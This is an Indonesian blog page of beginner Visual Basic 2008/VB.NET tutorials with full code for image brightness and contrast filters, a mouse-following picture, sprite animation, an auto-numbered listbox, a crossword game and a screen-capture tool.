Membuat Photo Editor menggunakan visual basic 2008/VB.net (tahap I)

Untuk Membuat Photo Editor menggunakan visual basic 2008/VB.net cukup rumit, oleh karena itu saya akan membuat tutorialnya bertahap, pada tahap awal ini saya akan menerangkan bagaimana memembuat brightness dan contrass pada gambar dengan menggunakan Visual Basic 2008, langkah awal untuk membuat Brightness dan contrast pada gambar adalah dengan membuat 1 form dan 1 class (masukkan nama filters pada saat membuat class).

Pada Form1 masukkan komponen-komponen dibawah:

• 1 picturebox
• 2 trackbar
• 2 label
• 1 button
• 1 openfiledialog

 Letakkan Picturebox dibagian atas, kemudian letakkan button1 dibawah picturebox untuk mempersingkat tulisan lihat saja gambar dibawah ini:

Kemudian klik 2 kali Class yang berada pada list sebelah kanan (Slutions Explorer) hapus semua kode dan masukkan kode dibawah ini:

Imports System.Runtime.InteropServices ' The Marshal class is derieved from here
Imports System.Drawing.Imaging         ' BitmapData structure from here

Public Class Filters

    Shared bmData As BitmapData
    Shared ptr As System.IntPtr
    Shared Red As Integer, Green As Integer, Blue As Integer
    Shared x As Integer, y As Integer
    Shared nOffset As Integer

    Public Shared Function ContrastFilter(ByVal ContrastValue As Integer, ByRef b As Bitmap) As Bitmap
        If b.PixelFormat = PixelFormat.Format8bppIndexed Then
            MsgBox("Tidak support dengan gambar value warna 256.", MsgBoxStyle.Critical Or MsgBoxStyle.ApplicationModal, "Error")
            Return Nothing
        End If
        If (ContrastValue < -100 Or ContrastValue > 100) Then Return Nothing

        bmData = b.LockBits(New Rectangle(0, 0, b.Width, b.Height), ImageLockMode.ReadWrite, PixelFormat.Format24bppRgb)
                ptr = bmData.Scan0
        nOffset = bmData.Stride - b.Width * 3
        Dim pixel As Double
        Dim contrast As Double = (100 + ContrastValue) / 100
        contrast *= contrast
                For y = 0 To b.Height - 1
            For x = 0 To b.Width - 1
                Blue = Marshal.ReadByte(ptr, 0)
                pixel = Blue / 255
                pixel -= 0.5
                pixel *= contrast
                pixel += 0.5
                pixel *= 255
                If (pixel < 0) Then pixel = 0
                If (pixel > 255) Then pixel = 255
                Marshal.WriteByte(ptr, 0, CByte(pixel))

                Green = Marshal.ReadByte(ptr, 1)
                pixel = Green / 255
                pixel -= 0.5
                pixel *= contrast
                pixel += 0.5
                pixel *= 255
                If (pixel < 0) Then pixel = 0
                If (pixel > 255) Then pixel = 255
                Marshal.WriteByte(ptr, 1, CByte(pixel))

                Red = Marshal.ReadByte(ptr, 2)
                pixel = Red / 255
                pixel -= 0.5
                pixel *= contrast
                pixel += 0.5
                pixel *= 255
                If (pixel < 0) Then pixel = 0
                If (pixel > 255) Then pixel = 255
                Marshal.WriteByte(ptr, 2, CByte(pixel))
                ptr = IntPtr.op_Explicit(ptr.ToInt32 + 3)
            Next
            ptr = IntPtr.op_Explicit(ptr.ToInt32 + nOffset)
        Next
        b.UnlockBits(bmData)
        Return b
    End Function

    Public Shared Function BrightnessFilter(ByVal BrightnessValue As Integer, ByRef b As Bitmap) As Bitmap
        If b.PixelFormat = PixelFormat.Format8bppIndexed Then
            MsgBox("256 colors bitmap are not supported.", MsgBoxStyle.Critical Or MsgBoxStyle.ApplicationModal, "Error")
            Return Nothing
        End If
        If BrightnessValue = 0 Then Return Nothing
        bmData = b.LockBits(New Rectangle(0, 0, b.Width, b.Height), ImageLockMode.ReadWrite, PixelFormat.Format24bppRgb)
        ptr = bmData.Scan0
        nOffset = bmData.Stride - b.Width * 3
        For y = 0 To b.Height - 1
            For x = 0 To (b.Width * 3) - 1
                Dim bByte As Integer = Marshal.ReadByte(ptr, 0)
                bByte += BrightnessValue
                If bByte > 255 Then bByte = 255
                If bByte < 0 Then bByte = 0

                Marshal.WriteByte(ptr, 0, CByte(bByte))
                ptr = IntPtr.op_Explicit(ptr.ToInt32 + 1)
            Next
            ptr = IntPtr.op_Explicit(ptr.ToInt32 + nOffset)
        Next
        b.UnlockBits(bmData)
        Return b
    End Function

    Public Shared Function Invert(ByRef b As Bitmap) As Bitmap
        If b.PixelFormat = PixelFormat.Format8bppIndexed Then
            MsgBox("256 colors bitmap are not supported.", MsgBoxStyle.Critical Or MsgBoxStyle.ApplicationModal, "Error")
            Return Nothing
        End If

        bmData = b.LockBits(New Rectangle(0, 0, b.Width, b.Height), ImageLockMode.ReadWrite, PixelFormat.Format24bppRgb)
        ptr = bmData.Scan0
        nOffset = bmData.Stride - b.Width * 3
        For y = 0 To b.Height - 1
             For x = 0 To (b.Width * 3) - 1
                Marshal.WriteByte(ptr, 0, CByte(255 - Marshal.ReadByte(ptr, 0)))
               
                ptr = IntPtr.op_Explicit(ptr.ToInt32 + 1)
            Next
            ptr = IntPtr.op_Explicit(ptr.ToInt32 + nOffset)
        Next
        b.UnlockBits(bmData)
        Return b
    End Function

    Public Shared Function Grayscale(ByRef b As Bitmap) As Bitmap
        If b.PixelFormat = PixelFormat.Format8bppIndexed Then
            MsgBox("256 colors bitmap are not supported.", MsgBoxStyle.Critical Or MsgBoxStyle.ApplicationModal, "Error")
            Return Nothing
        End If
        bmData = b.LockBits(New Rectangle(0, 0, b.Width, b.Height), ImageLockMode.ReadWrite, PixelFormat.Format24bppRgb)
        ptr = bmData.Scan0
        nOffset = bmData.Stride - b.Width * 3
        Dim bVal As Byte
        For y = 0 To b.Height - 1
            For x = 0 To b.Width - 1
                Blue = Marshal.ReadByte(ptr, 0)
                Green = Marshal.ReadByte(ptr, 1)
                Red = Marshal.ReadByte(ptr, 2)
                bVal = CByte(0.299 * Red + 0.587 * Green + 0.114 * Blue)
                Marshal.WriteByte(ptr, 0, bVal)
                Marshal.WriteByte(ptr, 1, bVal)
                Marshal.WriteByte(ptr, 2, bVal)
                ptr = IntPtr.op_Explicit(ptr.ToInt32 + 3)
            Next
            ptr = IntPtr.op_Explicit(ptr.ToInt32 + nOffset)
        Next
        b.UnlockBits(bmData)
        Return b
    End Function

    Public Shared Function AdjustColors(ByRef b As Bitmap, ByVal RedValue As Integer, ByVal BlueValue As Integer, ByVal GreenValue As Integer) As Bitmap
        If b.PixelFormat = PixelFormat.Format8bppIndexed Then
            MsgBox("256 colors bitmap are not supported.", MsgBoxStyle.Critical Or MsgBoxStyle.ApplicationModal, "Error")
            Return Nothing
        End If
        bmData = b.LockBits(New Rectangle(0, 0, b.Width, b.Height), ImageLockMode.ReadWrite, PixelFormat.Format24bppRgb)
        ptr = bmData.Scan0
        Dim bVal As Byte
        nOffset = bmData.Stride - b.Width * 3
        For y = 0 To b.Height - 1
            For x = 0 To b.Width - 1
                Blue = Marshal.ReadByte(ptr, 0)
                Green = Marshal.ReadByte(ptr, 1)
                Red = Marshal.ReadByte(ptr, 2)


                Red += RedValue
                Red = Math.Max(Red, 0)
                Red = Math.Min(Red, 255)


                Green += GreenValue
                Green = Math.Max(Green, 0)
                Green = Math.Min(Green, 255)


                Blue += BlueValue
                Blue = Math.Max(Blue, 0)
                Blue = Math.Min(Blue, 255)


                Marshal.WriteByte(ptr, 0, CByte(Blue))
                Marshal.WriteByte(ptr, 1, CByte(Green))
                Marshal.WriteByte(ptr, 2, CByte(Red))
                ptr = IntPtr.op_Explicit(ptr.ToInt32 + 3)
            Next
            ptr = IntPtr.op_Explicit(ptr.ToInt32 + nOffset)
        Next
        b.UnlockBits(bmData)
        Return b
    End Function

    Public Shared Function AdjustGamma(ByRef b As Bitmap, ByVal RedValue As Double, ByVal GreenValue As Double, ByVal BlueValue As Double) As Bitmap



        If b.PixelFormat = PixelFormat.Format8bppIndexed Then
            MsgBox("256 colors bitmap are not supported.", MsgBoxStyle.Critical Or MsgBoxStyle.ApplicationModal, "Error")
            Return Nothing
        End If


        If (RedValue < 0.2 Or RedValue > 5) Then Return Nothing
        If (GreenValue < 0.2 Or GreenValue > 5) Then Return Nothing
        If (BlueValue < 0.2 Or BlueValue > 5) Then Return Nothing

        Dim redGamma(256) As Byte
        Dim greenGamma(256) As Byte
        Dim blueGamma(256) As Byte

        Dim i As Integer

        For i = 0 To 255
            redGamma(i) = CByte(Math.Min(255, CInt(((255.0 * Math.Pow(i / 255.0, 1.0 / RedValue)) + 0.5))))
            greenGamma(i) = CByte(Math.Min(255, CInt(((255.0 * Math.Pow(i / 255.0, 1.0 / GreenValue)) + 0.5))))
            blueGamma(i) = CByte(Math.Min(255, CInt(((255.0 * Math.Pow(i / 255.0, 1.0 / BlueValue)) + 0.5))))
        Next

        bmData = b.LockBits(New Rectangle(0, 0, b.Width, b.Height), ImageLockMode.ReadWrite, PixelFormat.Format24bppRgb)
        ptr = bmData.Scan0
        nOffset = bmData.Stride - b.Width * 3
        For y = 0 To b.Height - 1
            For x = 0 To b.Width - 1
                Marshal.WriteByte(ptr, 0, blueGamma(Marshal.ReadByte(ptr, 0)))
                Marshal.WriteByte(ptr, 1, greenGamma(Marshal.ReadByte(ptr, 1)))
                Marshal.WriteByte(ptr, 2, redGamma(Marshal.ReadByte(ptr, 2)))
                ptr = IntPtr.op_Explicit(ptr.ToInt32 + 3)
            Next
            ptr = IntPtr.op_Explicit(ptr.ToInt32 + nOffset)
        Next
        b.UnlockBits(bmData)
        Return b
    End Function

End Class

Kemudian Klik 2 kali form1, hapus semua kode yang ada dan masukkan kode dibawah ini:

Public Class Form1
    Dim op As OpenFileDialog
    Private Sub TrackBar1_Scroll(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TrackBar1.Scroll
        On Error Resume Next


       
        Filters.BrightnessFilter(TrackBar1.Value, CType(PictureBox1.Image, Bitmap))
        PictureBox1.Refresh()
        Cursor.Current = Cursors.Arrow
    End Sub

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        TrackBar1.Minimum = -255
        TrackBar1.Maximum = 255
        TrackBar2.Minimum = -255
        TrackBar2.Maximum = 255
    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        If OpenFileDialog1.ShowDialog = Windows.Forms.DialogResult.OK Then
            PictureBox1.ImageLocation = OpenFileDialog1.FileName
            PictureBox1.SizeMode = PictureBoxSizeMode.StretchImage
        End If
    End Sub

    Private Sub TrackBar2_Scroll(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TrackBar2.Scroll
        Filters.ContrastFilter(TrackBar2.Value, CType(PictureBox1.Image, Bitmap))
        PictureBox1.Refresh()
        Cursor.Current = Cursors.Arrow
    End Sub
End Class
 

Read more

Membuat Gambar yang mengikuti mouse pada Visual Basic 2008/vb.net

Sebenarnya untuk Membuat Gambar yang mengikuti mouse pada Visual Basic 2008/vb.net sangatlah simple dan mudah sekali jika sudah sedikit tahu tentang kode visual basic 2008 karena kodenya sangat simple dan tidak terlalu banyak.
Tahap awal dalam Pembuatan program ini adalah membuat form dan berikan komponen:

• 1 Timer
• 1 Picturebox

Langkah pertama masukkan gambar apa saja kedalam picturebox kemudian klik2 kali formnya, hapus semua kode yang ada lalu masukkan kode dibawah:

Public Class Form1



    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        PictureBox1.Left = MousePosition.X
        PictureBox1.Top = MousePosition.Y - 20
        If PictureBox1.Left = Me.Right Then
            PictureBox1.Left -= 10
        ElseIf PictureBox1.Top > Me.Bottom Then
            PictureBox1.Top += 10
        End If
    End Sub

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Timer1.Enabled = True
        Me.WindowState = FormWindowState.Maximized
    End Sub
End Class
 

Read more

Membuat Animasi menggunakan Visual Basic 2008/VB.net

Langkah awal untuk Membuat Animasi menggunakan Visual Basic 2008/VB.net adalah siapkan gambar yang akan digunakan menjadi animasi, cukup satu gambar saja, saya akan mencoba dengan gambar dibawah ini:

 Simpan gambar diatas di Drive D:\, gambar dan pastikan gambar tersebut bukanlah gambar yang bisa bergerak sebelum dimasukkan kedala Visual Basic 2008, lalu masukkan komponen Picturebox dan Button.

Kemudian Klik 2 kali Form1, hapus semua kode dan masukkan kode dibawah ini:

Public Class Form1
    Dim bingkai(15) As Bitmap

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        Static mba As Integer = -1
        If mba < 15 Then
            mba += 1
        Else
            mba = 0
        End If
        PictureBox1.Image = bingkai(mba)
    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Dim img As New Bitmap("D:\caveman.bmp")
        For x As Integer = 0 To 15
            bingkai(x) = New Bitmap(264, 264)
            Dim gr As Graphics = Graphics.FromImage(bingkai(x))
            Dim leftPos As Integer = 0
            Select Case x
                Case 1, 5, 9, 13
                    leftPos = 64
                Case 2, 6, 10, 14
                    leftPos = 128
                Case 3, 7, 11, 15
                    leftPos = 192
            End Select
            gr.DrawImage(img, 0, 0, New RectangleF(leftPos, Int(x / 4) * 64, 264, 264), GraphicsUnit.Pixel)
        Next
        Timer1.Enabled = True
    End Sub
End Class

Read more

Membuat list Angka otomatis di listbox menggunakan Visual Basic 2008/VB.Net

Jika anda ingin Membuat list Angka otomatis di listbox menggunakan Visual Basic 2008/VB.Net caranya sangat mudah sekali karena tidak dibutuhkan keahlian yang mahir, namun jika anda adalah pemula maka alangkah baiknya anda teliti code dibawah ini, jika bingung tanyakan di komentar dengan menambahkan kata Tanya didepan pertanyaan.

Sekarang buatlah 1 form dengan komponen sebagai berikut:

• 1 Listbox
• 1 Timer

Set Timer1 interval menjadi 1000.

Lihat gambar dibawah ini:

Kemudian Klik 2 kali form1 hapus semua kode dan masukkan kode dibawah ini:

Public Class Form1


    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Timer1.Enabled = True
    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        ListBox1.Items.Add(ListBox1.SelectedIndex + 1)
        ListBox1.SelectedItem = ListBox1.SelectedIndex + 1
        If ListBox1.SelectedIndex > 19 Then
            Timer1.Enabled = False
        End If
    End Sub
End Class

 

Read more

Membuat Game TTS (Teka Teki Silang) Menggunakan Visual Basic 2008/VB.net

Untuk Membuat Game TTS (Teka Teki Silang) Menggunakan Visual Basic 2008/VB.net anda harus mengerti terlebih dahulu jawaban dari pertanyaan yang akan anda buat dan mampu menghitung jumlah huruf dari setiap jawaban dari pertanyaan yang dibuat tersbut, kemudian harus bisa menggabungkan 2 jawaban atau lebih menjadi satu rangkaian kata dengan metode mendatar dan menurun.

Membuat Game TTS (Teka Teki Silang) Menggunakan Visual Basic 2008/VB.net susah-susah mudah sebenarnya, karena harus benar-benar jeli dan tau betul rancangan If & Then.

Karena rancangan If & Then ini tidak seperti If & Then sederhana yang hanya menggunakan 1 Alasan saja akan tetapi logika awalnya seperti ini Jika textbox1.text=A atau textbox1.text=a dan textboxt2.text=B atau textbox2.text=b maka label1.text=benar.

Baiklah untuk mempersingkat waktu dan tempat juga penulisan maka saya akan memulai pembuatan Game TTS ini, buatlah satu form dengan komponen:

• 32 Textbox
• 5 Label
• 1 Picturebox

 Lihat gambar dibawah ini dan buatlah agar persis seperti gambar dibawah ini:

 

Selanjutnya klik 2 kali formnya, hapus semua kode yang sudah ada dan masukkan kode dibawah ini:

Public Class Form1

    Private Sub TextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox1.TextChanged
        TextBox1.Enabled = False
    End Sub

    Private Sub TextBox2_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox2.TextChanged
        TextBox2.Enabled = False
        If (TextBox1.Text = "a" Or TextBox1.Text = "A") And (TextBox2.Text = "k" Or TextBox2.Text = "K") And (TextBox3.Text = "u" Or TextBox3.Text = "U") Then
            Label3.Text += 1
        ElseIf (TextBox1.Text = "" Or TextBox1.Text = "") And (TextBox2.Text = "k" Or TextBox2.Text = "K") And (TextBox3.Text = "u" Or TextBox3.Text = "U") Then
            Label3.Text = Label3.Text
        ElseIf (TextBox1.Text = "" Or TextBox1.Text = "") And (TextBox2.Text = "k" Or TextBox2.Text = "K") And (TextBox3.Text = "" Or TextBox3.Text = "") Then
            Label3.Text = Label3.Text
        ElseIf (TextBox1.Text = "a" Or TextBox1.Text = "A") And (TextBox2.Text = "k" Or TextBox2.Text = "K") And (TextBox3.Text = "" Or TextBox3.Text = "") Then
            Label3.Text = Label3.Text
        Else
            Label4.Text += 1
        End If
    End Sub

    Private Sub TextBox3_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox3.TextChanged
        TextBox3.Enabled = False
        If (TextBox1.Text = "a" Or TextBox1.Text = "A") And (TextBox2.Text = "k" Or TextBox2.Text = "K") And (TextBox3.Text = "u" Or TextBox3.Text = "U") Then
            Label3.Text += 1
        ElseIf (TextBox1.Text = "" Or TextBox1.Text = "") And (TextBox2.Text = "" Or TextBox2.Text = "") And (TextBox3.Text = "u" Or TextBox3.Text = "U") Then
            Label3.Text = Label3.Text
        Else
            Label4.Text += 1
        End If
    End Sub

    Private Sub TextBox4_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox4.TextChanged
        TextBox4.Enabled = False
    End Sub

    Private Sub TextBox5_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox5.TextChanged
        TextBox5.Enabled = False
    End Sub

    Private Sub TextBox6_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox6.TextChanged
        TextBox6.Enabled = False
        If (TextBox4.Text = "l" Or TextBox4.Text = "L") And (TextBox5.Text = "a" Or TextBox5.Text = "A") And (TextBox6.Text = "r" Or TextBox6.Text = "R") Then
            Label3.Text += 1
        Else
            Label4.Text += 1
        End If
    End Sub


    Private Sub TextBox7_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox7.TextChanged
        TextBox7.Enabled = False
    End Sub

    Private Sub TextBox8_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox8.TextChanged
        TextBox8.Enabled = False
    End Sub

    Private Sub TextBox9_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox9.TextChanged
        TextBox9.Enabled = False
    End Sub

    Private Sub TextBox10_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox10.TextChanged
        TextBox10.Enabled = False
        If (TextBox7.Text = "a" Or TextBox7.Text = "A") And (TextBox8.Text = "r" Or TextBox8.Text = "R") And (TextBox9.Text = "g" Or TextBox9.Text = "G") And (TextBox10.Text = "e" Or TextBox10.Text = "E") Then
            Label3.Text += 1
        Else
            Label4.Text += 1
        End If
    End Sub

    Private Sub TextBox11_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox11.TextChanged
        TextBox11.Enabled = False
    End Sub

    Private Sub TextBox12_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox12.TextChanged
        TextBox12.Enabled = False
    End Sub

    Private Sub TextBox13_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox13.TextChanged
        TextBox13.Enabled = False
        If (TextBox8.Text = "r" Or TextBox8.Text = "R") And (TextBox11.Text = "o" Or TextBox11.Text = "O") And (TextBox12.Text = "b" Or TextBox12.Text = "B") And (TextBox13.Text = "o" Or TextBox13.Text = "O") And (TextBox14.Text = "t" Or TextBox14.Text = "T") Then
            Label3.Text += 1
        ElseIf (TextBox8.Text = "r" Or TextBox8.Text = "R") And (TextBox11.Text = "" Or TextBox11.Text = "") And (TextBox12.Text = "" Or TextBox12.Text = "") And (TextBox13.Text = "" Or TextBox13.Text = "") And (TextBox14.Text = "t" Or TextBox14.Text = "T") Then
            Label3.Text = Label3.Text
        ElseIf (TextBox8.Text = "r" Or TextBox8.Text = "R") And (TextBox11.Text = "o" Or TextBox11.Text = "O") And (TextBox12.Text = "b" Or TextBox12.Text = "B") And (TextBox13.Text = "o" Or TextBox13.Text = "O") And (TextBox14.Text = "" Or TextBox14.Text = "") Then
            Label3.Text = Label3.Text
        ElseIf (TextBox8.Text = "" Or TextBox8.Text = "") And (TextBox11.Text = "" Or TextBox11.Text = "") And (TextBox12.Text = "" Or TextBox12.Text = "") And (TextBox13.Text = "" Or TextBox13.Text = "") And (TextBox14.Text = "t" Or TextBox14.Text = "T") Then
            Label3.Text = Label3.Text
        Else
            Label4.Text += 1
        End If
    End Sub

    Private Sub TextBox14_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox14.TextChanged
        TextBox14.Enabled = False
        If (TextBox8.Text = "r" Or TextBox8.Text = "R") And (TextBox11.Text = "o" Or TextBox11.Text = "O") And (TextBox12.Text = "b" Or TextBox12.Text = "B") And (TextBox13.Text = "o" Or TextBox13.Text = "O") And (TextBox14.Text = "t" Or TextBox14.Text = "T") Then
            Label3.Text += 1
        ElseIf (TextBox8.Text = "r" Or TextBox8.Text = "R") And (TextBox11.Text = "" Or TextBox11.Text = "") And (TextBox12.Text = "" Or TextBox12.Text = "") And (TextBox13.Text = "" Or TextBox13.Text = "") And (TextBox14.Text = "t" Or TextBox14.Text = "T") Then
            Label3.Text = Label3.Text
        ElseIf (TextBox8.Text = "" Or TextBox8.Text = "") And (TextBox11.Text = "" Or TextBox11.Text = "") And (TextBox12.Text = "" Or TextBox12.Text = "") And (TextBox13.Text = "" Or TextBox13.Text = "") And (TextBox14.Text = "t" Or TextBox14.Text = "T") Then
            Label3.Text = Label3.Text
        Else
            Label4.Text += 1
        End If
    End Sub

    Private Sub TextBox20_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox20.TextChanged
        TextBox20.Enabled = False
        If (TextBox15.Text = "p" Or TextBox15.Text = "P") And (TextBox16.Text = "r" Or TextBox16.Text = "R") And (TextBox17.Text = "i" Or TextBox17.Text = "I") And (TextBox18.Text = "n" Or TextBox18.Text = "N") And (TextBox14.Text = "t" Or TextBox14.Text = "T") And (TextBox19.Text = "e" Or TextBox19.Text = "E") And (TextBox20.Text = "r" Or TextBox20.Text = "R") Then
            Label3.Text += 1
        Else
            Label4.Text += 1
        End If
    End Sub

    Private Sub TextBox15_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox15.TextChanged
        TextBox15.Enabled = False
    End Sub

    Private Sub TextBox16_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox16.TextChanged
        TextBox16.Enabled = False
    End Sub

    Private Sub TextBox17_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox17.TextChanged
        TextBox17.Enabled = False
    End Sub

    Private Sub TextBox18_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox18.TextChanged
        TextBox18.Enabled = False
    End Sub

    Private Sub TextBox19_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox19.TextChanged
        TextBox19.Enabled = False
    End Sub

    Private Sub TextBox21_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox21.TextChanged
        TextBox21.Enabled = False
    End Sub

    Private Sub TextBox22_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox22.TextChanged
        TextBox22.Enabled = False
    End Sub

    Private Sub TextBox23_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox23.TextChanged
        TextBox23.Enabled = False
    End Sub

    Private Sub TextBox24_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox24.TextChanged
        TextBox24.Enabled = False
        If (TextBox15.Text = "p" Or TextBox15.Text = "P") And (TextBox21.Text = "u" Or TextBox21.Text = "U") And (TextBox22.Text = "a" Or TextBox22.Text = "A") And (TextBox23.Text = "s" Or TextBox23.Text = "S") And (TextBox24.Text = "a" Or TextBox24.Text = "A") Then
            Label3.Text += 1
        Else
            Label4.Text += 1
        End If
    End Sub

    Private Sub TextBox25_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox25.TextChanged
        TextBox25.Enabled = False
    End Sub

    Private Sub TextBox26_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox26.TextChanged
        TextBox26.Enabled = False
    End Sub

    Private Sub TextBox27_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox27.TextChanged
        TextBox27.Enabled = False
    End Sub

    Private Sub TextBox28_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox28.TextChanged
        TextBox28.Enabled = False
    End Sub

    Private Sub TextBox29_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox29.TextChanged
        TextBox29.Enabled = False
        If (TextBox22.Text = "a" Or TextBox22.Text = "A") And (TextBox25.Text = "m" Or TextBox25.Text = "M") And (TextBox26.Text = "a" Or TextBox26.Text = "A") And (TextBox27.Text = "n" Or TextBox27.Text = "N") And (TextBox28.Text = "a" Or TextBox28.Text = "A") And (TextBox29.Text = "t" Or TextBox29.Text = "T") Then
            Label3.Text += 1
        Else
            Label4.Text += 1

        End If
    End Sub

    Private Sub TextBox30_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox30.TextChanged
        TextBox30.Enabled = False
    End Sub

    Private Sub TextBox31_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox31.TextChanged
        TextBox31.Enabled = False
    End Sub

    Private Sub TextBox32_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox32.TextChanged
        TextBox32.Enabled = False
        If (TextBox18.Text = "n" Or TextBox18.Text = "N") And (TextBox30.Text = "e" Or TextBox30.Text = "E") And (TextBox27.Text = "n" Or TextBox27.Text = "N") And (TextBox31.Text = "e" Or TextBox31.Text = "E") And (TextBox32.Text = "k" Or TextBox32.Text = "K") Then
            Label3.Text += 1
        Else
            Label4.Text += 1

        End If
    End Sub


    Private Sub Label3_TextChanged(ByVal sender As Object, ByVal e As System.EventArgs) Handles Label3.TextChanged
        If Label3.Text = 9 Then
            MsgBox("Otak anda cerdas juga yah...")
        End If
    End Sub

    Private Sub Label4_TextChanged(ByVal sender As Object, ByVal e As System.EventArgs) Handles Label4.TextChanged
        If Label4.Text >= 9 Then
            MsgBox("Otak anda sepertinya perlu dibawa kedokter jiwa...")
        End If
    End Sub

    Private Sub TextBox33_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox33.TextChanged
        TextBox33.Enabled = False
        If (TextBox20.Text = "r" Or TextBox20.Text = "R") And (TextBox33.Text = "s" Or TextBox33.Text = "S") Then
            Label3.Text += 1
        Else
            Label4.Text += 1
        End If
    End Sub


End Class
 

Read more

Membuat Screen Capture Menggunakan Visual Basic 2008/ VB.net

Yang perlu diperhatikan dalam pembuatan screen capture menggunakan Visual Basic 2008 / vb.net adalah dalam setting formnya, karena membutuhkan 2 form dan diantara dua form tersebut ada yang dibaut menjadi transparant.

Untuk Membuat Screen Capture Menggunakan Visual Basic 2008/ VB.net yang dibutuhkan adalah:

• 2 button 
• 1 picturebox
• 2 form

Ganti backgroun button1 dengan gabar foto apa saja, dan button 2 dengan gambar disket dan ganti background form1 dengan gabar sesuai selera anda saja lihat gambar dibawah ini:

 Pada Form2 taruhlah 1 Button dengan backgorund kamera, dan FormBorderStyle ganti menjadi FixedDialog, ControlBox False dan ganti background menjadi warna biru seperti gambar dibawah ini:

 

Langkah selanjutnya adalah masuk ke halaman form1, klik 2 kali ditengah form, hapus semua kode yang ada dan masukkan kode dibawah:

Public Class Form1

    Dim sv As New SaveFileDialog
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        sv.Filter = "JPG File|*.jpg"
        If sv.ShowDialog = Windows.Forms.DialogResult.OK Then
            PictureBox1.Image.Save(sv.FileName, System.Drawing.Imaging.ImageFormat.Jpeg)
        Else

        End If
    End Sub



    Private Sub Button_StartMouseSelect_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button_StartMouseSelect.Click
        Form2.StartPosition = FormStartPosition.CenterScreen
        Form2.Opacity = 30
        Form2.Show()
        Me.Hide()
    End Sub

    Private Sub Form1_MaximumSizeChanged(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.MaximumSizeChanged

    End Sub

    Private Sub Form1_SizeChanged(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.SizeChanged
        If Me.WindowState = FormWindowState.Maximized Then
            PictureBox1.Height = 648
        ElseIf Me.WindowState = FormWindowState.Normal Then
            PictureBox1.Height = 404
        ElseIf Me.WindowState = FormWindowState.Minimized Then
            PictureBox1.Height = 404
        End If
    End Sub

 
End Class

Kemudian pada Form2 klik 2 kali, hapus semua kode yang ada lalu masukkan kode dibawah:

Public Class Form2

    Private Sub Form2_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Me.Location = New Point(MousePosition.X, MousePosition.Y)
        Me.FormBorderStyle = Windows.Forms.FormBorderStyle.SizableToolWindow
        Me.BackColor = Color.Blue
        Me.TransparencyKey = Color.Blue
        Me.TopMost = True
    End Sub
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Me.Opacity = 0
        Dim area As Rectangle = Me.Bounds
        Dim capture As System.Drawing.Bitmap = New System.Drawing.Bitmap(Bounds.Width, Bounds.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb)
        Dim graph As Graphics = Graphics.FromImage(capture)
        graph.CopyFromScreen(area.X, area.Y, 0, 0, area.Size, CopyPixelOperation.SourceCopy)
        Form1.PictureBox1.Image = capture
        Form1.Show()
        Me.Hide()
    End Sub
End Class

 

Read more

